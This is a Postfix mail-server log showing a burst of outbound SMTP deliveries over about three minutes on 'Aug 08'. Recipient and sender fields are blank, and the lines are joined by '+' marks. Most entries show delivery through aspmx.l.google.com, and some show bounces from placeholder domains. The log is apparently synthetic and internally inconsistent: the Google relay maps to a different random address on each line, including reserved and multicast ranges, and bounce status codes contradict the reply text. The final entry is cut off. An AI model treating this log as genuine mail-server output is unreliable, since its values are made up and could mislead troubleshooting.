postfix/smtp[19730]: 930AD796E3: to=, from=, relay=aspmx.l.google.com[81.90.201.121]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:02 server postfix/smtp[19728]: 734BE2DF4E: to=, from=, relay=aspmx.l.google.com[34.127.231.80]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:02 server postfix/smtp[19729]: 72CBECB963: to=, from=, relay=aspmx.l.google.com[125.65.3.218]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:02 server postfix/smtp[19731]: 7991575177: to=, from=, relay=aspmx.l.google.com[111.202.1.161]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:02 server postfix/smtp[19732]: CE4256F4C6: to=, from=, relay=aspmx.l.google.com[223.240.5.227]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:05 server postfix/smtp[19734]: 5CA9AA08C5: to=, from=, relay=aspmx.l.google.com[16.206.170.101]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:06 server postfix/smtp[19735]: BE1B878BE4: to=, from=, relay=aspmx.l.google.com[29.120.137.72]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:06 server postfix/smtp[19736]: C2E4927B34: to=, from=, relay=example.com[75.58.72.243]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:08:09 server postfix/smtp[19733]: 1A9B581704: to=, from=, relay=example.com[12.129.34.251]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:08:11 server postfix/smtp[19738]: F3A1962322: to=, from=, relay=aspmx.l.google.com[70.241.224.235]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:13 server postfix/smtp[19739]: A9300AE456: to=, from=, relay=aspmx.l.google.com[135.58.173.40]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:13 server postfix/smtp[19740]: F29B2729BB: to=, from=, relay=web-host.org[61.148.91.241]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:08:13 server postfix/smtp[19741]: C46A8411BB: to=, from=, relay=aspmx.l.google.com[140.232.37.97]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:14 server postfix/smtp[19737]: 10C6B8BBB4: to=, from=, relay=aspmx.l.google.com[43.40.22.33]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:15 server postfix/smtp[19742]: 4065E244CE: to=, from=, relay=aspmx.l.google.com[223.47.235.61]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:16 server postfix/smtp[19743]: 58AC561A90: to=, from=, relay=aspmx.l.google.com[225.53.154.146]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:20 server postfix/smtp[19744]: A8D58AC04B: to=, from=, relay=user-mail.info[178.93.106.43]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:08:21 server postfix/smtp[19745]: F9A0C6F09C: to=, from=, relay=aspmx.l.google.com[180.41.24.60]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:22 server postfix/smtp[19746]: 8AE90B5D64: to=, from=, relay=user-mail.info[240.116.94.39]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:08:25 server postfix/smtp[19748]: 5907CE6883: to=, from=, relay=user-mail.info[199.26.88.172]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:08:28 server postfix/smtp[19747]: 6AD89DD9AA: to=, from=, relay=user-mail.info[95.108.11.133]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:08:30 server postfix/smtp[19752]: AF89051442: to=, from=, relay=aspmx.l.google.com[164.17.243.31]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:32 server postfix/smtp[19751]: D7ADB3941D: to=, from=, relay=web-host.org[66.147.137.125]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:08:33 server postfix/smtp[19750]: D473CD65FB: to=, from=, relay=example.com[249.214.116.159]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:08:34 server postfix/smtp[19749]: 146AD9E369: to=, from=, relay=aspmx.l.google.com[19.175.109.250]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:36 server postfix/smtp[19753]: 6984D700FB: to=, from=, relay=aspmx.l.google.com[112.11.175.16]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:36 server postfix/smtp[19754]: 6A94A59EAA: to=, from=, relay=aspmx.l.google.com[154.102.188.152]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:37 server postfix/smtp[19755]: D421112B9B: to=, from=, relay=aspmx.l.google.com[92.221.246.101]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:40 server postfix/smtp[19758]: 6688824985: to=, from=, relay=aspmx.l.google.com[109.168.182.251]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:43 server postfix/smtp[19756]: 73C67D8D8C: to=, from=, relay=business.biz[206.94.25.226]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:08:43 server postfix/smtp[19757]: 57DEAC9132: to=, from=, relay=aspmx.l.google.com[52.131.58.131]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:46 server postfix/smtp[19762]: 3D2CEB5B45: to=, from=, relay=aspmx.l.google.com[103.74.117.139]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:46 server postfix/smtp[19763]: D0257064D2: to=, from=, relay=aspmx.l.google.com[75.140.215.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:47 server postfix/smtp[19759]: DA6BB07C08: to=, from=, relay=aspmx.l.google.com[182.56.254.179]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:47 server postfix/smtp[19761]: A9C415F548: to=, from=, relay=aspmx.l.google.com[138.206.109.56]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:49 server postfix/smtp[19760]: EC4F4CBA90: to=, from=, relay=aspmx.l.google.com[209.45.135.143]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:50 server postfix/smtp[19766]: 71DB2CA9BC: to=, from=, relay=aspmx.l.google.com[21.152.231.162]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:51 server postfix/smtp[19764]: 3CDD979F99: to=, from=, relay=aspmx.l.google.com[162.187.248.173]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:52 server postfix/smtp[19767]: 5A42C19165: to=, from=, relay=aspmx.l.google.com[11.168.69.53]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:08:52 server postfix/smtp[19768]: 032DBF6E73: to=, from=, relay=example.com[217.202.167.168]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:08:53 server postfix/smtp[19765]: 860EF725E2: to=, from=, relay=user-mail.info[24.27.78.216]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:08:57 server postfix/smtp[19769]: 59EFAA9D73: to=, from=, relay=example.com[235.135.120.230]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:08:58 server postfix/smtp[19770]: 288F6ED5C2: to=, from=, relay=aspmx.l.google.com[65.57.205.104]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:01 server postfix/smtp[19774]: 56C1651349: to=, from=, relay=aspmx.l.google.com[79.17.45.211]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:02 server postfix/smtp[19771]: 8EF5A3C88A: to=, from=, relay=aspmx.l.google.com[85.184.170.177]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:02 server postfix/smtp[19772]: 6238E79C87: to=, from=, relay=aspmx.l.google.com[154.252.42.84]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:03 server postfix/smtp[19775]: 36DCD7DDE8: to=, from=, relay=aspmx.l.google.com[15.119.242.102]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:04 server postfix/smtp[19773]: 94926D8E18: to=, from=, relay=aspmx.l.google.com[60.199.94.101]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:05 server postfix/smtp[19778]: E4982F93E4: to=, from=, relay=web-host.org[28.56.239.84]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:09:08 server postfix/smtp[19776]: F118B20971: to=, from=, relay=aspmx.l.google.com[173.135.144.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:08 server postfix/smtp[19779]: E68287D4CA: to=, from=, relay=aspmx.l.google.com[77.202.2.218]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:09 server postfix/smtp[19777]: 312E02728F: to=, from=, relay=mailservice.net[101.69.87.96]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:09:11 server postfix/smtp[19782]: 4E48FC9AF2: to=, from=, relay=aspmx.l.google.com[150.245.99.114]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:11 server postfix/smtp[19783]: 945EC89F9C: to=, from=, relay=aspmx.l.google.com[193.175.81.118]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:14 server postfix/smtp[19780]: 9C16A6A37E: to=, from=, relay=business.biz[90.129.98.145]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:09:14 server postfix/smtp[19781]: 8BFEFF4AEE: to=, from=, relay=business.biz[89.252.38.59]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:09:14 server postfix/smtp[19784]: 1223654355: to=, from=, relay=user-mail.info[3.132.52.190]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:09:15 server postfix/smtp[19785]: F6726FE1FC: to=, from=, relay=mailservice.net[244.207.105.184]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:09:15 server postfix/smtp[19786]: C595ACBB1A: to=, from=, relay=aspmx.l.google.com[218.236.251.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:16 server postfix/smtp[19787]: 24E36F34BC: to=, from=, relay=web-host.org[85.141.196.65]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:09:16 server postfix/smtp[19789]: B3757E8EE6: to=, from=, relay=aspmx.l.google.com[80.86.216.230]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:19 server postfix/smtp[19788]: 61238635E0: to=, from=, relay=example.com[242.207.20.106]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:09:20 server postfix/smtp[19791]: CCDDAABC34: to=, from=, relay=aspmx.l.google.com[217.115.31.166]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:21 server postfix/smtp[19790]: 285119D9AB: to=, from=, relay=user-mail.info[144.185.1.51]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:09:25 server postfix/smtp[19792]: 045B36146A: to=, from=, relay=aspmx.l.google.com[5.192.67.10]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:26 server postfix/smtp[19793]: B7D4C30196: to=, from=, relay=mailservice.net[232.150.141.32]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:09:27 server postfix/smtp[19794]: C65895DDCB: to=, from=, relay=aspmx.l.google.com[109.41.179.79]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:30 server postfix/smtp[19798]: EC544F61A9: to=, from=, relay=aspmx.l.google.com[9.21.81.113]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:31 server postfix/smtp[19796]: A32B74A28D: to=, from=, relay=example.com[34.192.172.204]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:09:33 server postfix/smtp[19795]: 0BB0D7457F: to=, from=, relay=aspmx.l.google.com[69.14.179.101]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:33 server postfix/smtp[19797]: CB408F3B12: to=, from=, relay=aspmx.l.google.com[27.119.33.171]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:37 server postfix/smtp[19799]: EF68E06F15: to=, from=, relay=aspmx.l.google.com[18.140.24.217]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:37 server postfix/smtp[19800]: 87B126CEA2: to=, from=, relay=aspmx.l.google.com[98.240.209.94]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:40 server postfix/smtp[19802]: 3BF74FDF56: to=, from=, relay=aspmx.l.google.com[18.52.245.203]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:41 server postfix/smtp[19803]: ED840A26DE: to=, from=, relay=example.com[6.65.179.169]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:09:42 server postfix/smtp[19801]: 6F8004CE1E: to=, from=, relay=user-mail.info[188.168.149.38]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:09:47 server postfix/smtp[19804]: 1BADC4076A: to=, from=, relay=aspmx.l.google.com[30.82.55.227]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:47 server postfix/smtp[19805]: D9E46FE355: to=, from=, relay=business.biz[79.65.119.121]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:09:49 server postfix/smtp[19806]: E5CCAEA815: to=, from=, relay=aspmx.l.google.com[180.46.174.207]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:50 server postfix/smtp[19807]: 5E194C587F: to=, from=, relay=aspmx.l.google.com[191.30.33.83]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:50 server postfix/smtp[19808]: AE3657356C: to=, from=, relay=aspmx.l.google.com[227.145.9.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:50 server postfix/smtp[19810]: B91C514B0E: to=, from=, relay=business.biz[101.3.49.18]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:09:54 server postfix/smtp[19809]: 2A2D30D766: to=, from=, relay=aspmx.l.google.com[172.52.222.23]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:55 server postfix/smtp[19812]: FFF5D05611: to=, from=, relay=example.com[104.118.180.33]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:09:55 server postfix/smtp[19814]: B640021C4F: to=, from=, relay=aspmx.l.google.com[232.236.158.96]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:56 server postfix/smtp[19815]: DB3D92F825: to=, from=, relay=aspmx.l.google.com[195.36.129.52]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:57 server postfix/smtp[19813]: C529FD0930: to=, from=, relay=aspmx.l.google.com[114.187.19.76]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:09:59 server postfix/smtp[19811]: 78DBACAB97: to=, from=, relay=aspmx.l.google.com[243.242.227.234]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:01 server postfix/smtp[19819]: F58851319E: to=, from=, relay=aspmx.l.google.com[196.60.236.15]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:02 server postfix/smtp[19818]: 0DCCF75E22: to=, from=, relay=aspmx.l.google.com[41.84.72.36]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:03 server postfix/smtp[19816]: 423CD58DFB: to=, from=, relay=aspmx.l.google.com[115.248.9.98]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:03 server postfix/smtp[19817]: 36078AE9F7: to=, from=, relay=web-host.org[253.133.153.47]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:04 server postfix/smtp[19820]: C85473E1DD: to=, from=, relay=aspmx.l.google.com[213.4.54.24]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:07 server postfix/smtp[19822]: D5160BCA26: to=, from=, relay=aspmx.l.google.com[88.118.190.186]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:07 server postfix/smtp[19824]: 77D58070A8: to=, from=, relay=aspmx.l.google.com[132.37.223.68]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:08 server postfix/smtp[19823]: 793A2254C1: to=, from=, relay=aspmx.l.google.com[124.73.243.222]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:09 server postfix/smtp[19821]: 6FFE172A5B: to=, from=, relay=aspmx.l.google.com[6.210.140.126]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:09 server postfix/smtp[19825]: DE98B22B79: to=, from=, relay=aspmx.l.google.com[235.96.114.253]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:10 server postfix/smtp[19827]: 910D825B0D: to=, from=, relay=aspmx.l.google.com[238.161.60.4]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:11 server postfix/smtp[19826]: 259FA59CEA: to=, from=, relay=aspmx.l.google.com[188.160.137.190]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:12 server postfix/smtp[19829]: 1D9990A3B1: to=, from=, relay=aspmx.l.google.com[229.126.58.165]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:12 server postfix/smtp[19830]: D55DDDE5D4: to=, from=, relay=aspmx.l.google.com[114.110.87.28]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:14 server postfix/smtp[19828]: B9F06A90BF: to=, from=, relay=aspmx.l.google.com[12.209.246.196]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:18 server postfix/smtp[19831]: CFD433C5B2: to=, from=, relay=aspmx.l.google.com[207.169.252.27]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:18 server postfix/smtp[19833]: 052092DB5C: to=, from=, relay=aspmx.l.google.com[220.32.202.4]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:18 server postfix/smtp[19834]: 01714B99B8: to=, from=, relay=aspmx.l.google.com[49.207.70.194]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:19 server postfix/smtp[19832]: C31AD9B5FA: to=, from=, relay=business.biz[199.69.131.152]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:10:20 server postfix/smtp[19838]: E1AC08874E: to=, from=, relay=aspmx.l.google.com[230.127.239.108]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:21 server postfix/smtp[19835]: EBFEE2E394: to=, from=, relay=aspmx.l.google.com[229.188.19.244]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:21 server postfix/smtp[19836]: 3BC16B0846: to=, from=, relay=user-mail.info[105.89.178.120]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:10:22 server postfix/smtp[19837]: 5DA7420B95: to=, from=, relay=aspmx.l.google.com[246.205.29.236]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:23 server postfix/smtp[19839]: 4065FD8714: to=, from=, relay=user-mail.info[127.72.134.232]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:25 server postfix/smtp[19844]: A953D3913D: to=, from=, relay=aspmx.l.google.com[158.110.190.133]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:27 server postfix/smtp[19841]: 1AAB668DF1: to=, from=, relay=mailservice.net[197.205.27.133]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:10:27 server postfix/smtp[19842]: E2A88FC72D: to=, from=, relay=mailservice.net[200.228.147.236]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:28 server postfix/smtp[19840]: 548D1C054D: to=, from=, relay=user-mail.info[203.234.163.166]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:29 server postfix/smtp[19843]: B4977AFE60: to=, from=, relay=user-mail.info[120.4.175.31]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:10:30 server postfix/smtp[19845]: 6243B0D52E: to=, from=, relay=example.com[97.150.99.254]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:33 server postfix/smtp[19846]: 5285F3D64A: to=, from=, relay=aspmx.l.google.com[116.15.121.187]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:35 server postfix/smtp[19848]: 8AEECD3D1D: to=, from=, relay=aspmx.l.google.com[195.158.152.169]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:35 server postfix/smtp[19849]: 75C6A853A1: to=, from=, relay=aspmx.l.google.com[50.76.77.26]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:37 server postfix/smtp[19847]: CA80975AE4: to=, from=, relay=user-mail.info[187.152.1.61]:25, delay=0.5, dsn=5.1.1, status=bounced (554 5.7.1 Service unavailable; Client host blocked) +Aug 08 14:10:41 server postfix/smtp[19850]: A54EE6CEE6: to=, from=, relay=aspmx.l.google.com[130.73.42.58]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:41 server postfix/smtp[19851]: 47F8CCA96B: to=, from=, relay=aspmx.l.google.com[36.62.183.144]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19852]: 0BAEDD7EA5: to=, from=, relay=aspmx.l.google.com[179.181.4.234]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19853]: E41451D3C6: to=, from=, relay=aspmx.l.google.com[84.199.240.129]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19854]: 0163EAE1A3: to=, from=, relay=aspmx.l.google.com[43.36.147.57]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:45 server postfix/smtp[19856]: 19C9A006E2: to=, from=, relay=aspmx.l.google.com[63.104.223.143]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:47 server postfix/smtp[19855]: 84A101A229: to=, from=, relay=aspmx.l.google.com[150.75.35.182]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:50 server postfix/smtp[19857]: 3250E29D0E: to=, from=, relay=user-mail.info[84.220.242.79]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Aug 08 14:10:50 server postfix/smtp[19859]: 6654060461: to=, from=, relay=aspmx.l.google.com[96.117.140.228]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:50 server postfix/smtp[19860]: C3491911EC: to=, from=, relay=aspmx.l.google.com[128.224.69.100]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:54 server postfix/smtp[19858]: 8C255FB904: to=, from=, relay=aspmx.l.google.com[197.224.144.201]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:57 server postfix/smtp[19861]: 89087792D1: to=, from=, relay=web-host.org[229.49.5.3]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:10:57 server postfix/smtp[19863]: E19A16C2D0: to=, from=, relay=aspmx.l.google.com[74.188.246.97]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:10:59 server postfix/smtp[19862]: A47E649E9A: to=, from=, relay=aspmx.l.google.com[157.232.24.161]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:03 server postfix/smtp[19866]: D78845F18E: to=, from=, relay=aspmx.l.google.com[98.209.50.136]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:03 server postfix/smtp[19867]: 0A183AE913: to=, from=, relay=aspmx.l.google.com[234.58.106.96]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:04 server postfix/smtp[19864]: 11BFA96028: to=, from=, relay=aspmx.l.google.com[8.164.89.225]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:04 server postfix/smtp[19865]: 8622BC20FA: to=, from=, relay=aspmx.l.google.com[195.110.56.210]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:04 server postfix/smtp[19868]: 9433F810A6: to=, from=, relay=aspmx.l.google.com[108.43.148.117]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:05 server postfix/smtp[19869]: 0A66E044BC: to=, from=, relay=aspmx.l.google.com[38.117.40.200]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:06 server postfix/smtp[19872]: 3641B53C6D: to=, from=, relay=aspmx.l.google.com[189.80.35.235]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:07 server postfix/smtp[19873]: CF58F3C24B: to=, from=, relay=aspmx.l.google.com[198.223.21.39]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:08 server postfix/smtp[19870]: 02DF00212C: to=, from=, relay=aspmx.l.google.com[145.228.37.135]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:08 server postfix/smtp[19871]: F121A4818E: to=, from=, relay=business.biz[92.245.13.250]:25, delay=0.5, dsn=5.1.1, status=bounced (550 5.4.1 Recipient address rejected: Access denied) +Aug 08 14:11:11 server postfix/smtp[19875]: FF6D8DB5DB: to=, from=, relay=aspmx.l.google.com[80.4.156.164]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:14 server postfix/smtp[19874]: 7046D2B0BB: to=, from=, relay=aspmx.l.google.com[24.103.154.6]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:15 server postfix/smtp[19877]: B74E05B0E4: to=, from=, relay=aspmx.l.google.com[130.225.79.58]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:16 server postfix/smtp[19878]: 5BB7EDF17B: to=, from=, relay=aspmx.l.google.com[11.157.141.145]:25, delay=1.5, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 08 14:11:16 server postfix/smtp[19879]: 2E3741C66B: to=, from=, relay=aspmx.l.google.com[150.189.186.20]:25, delay=1.5, dsn=2.0.0, status=sent 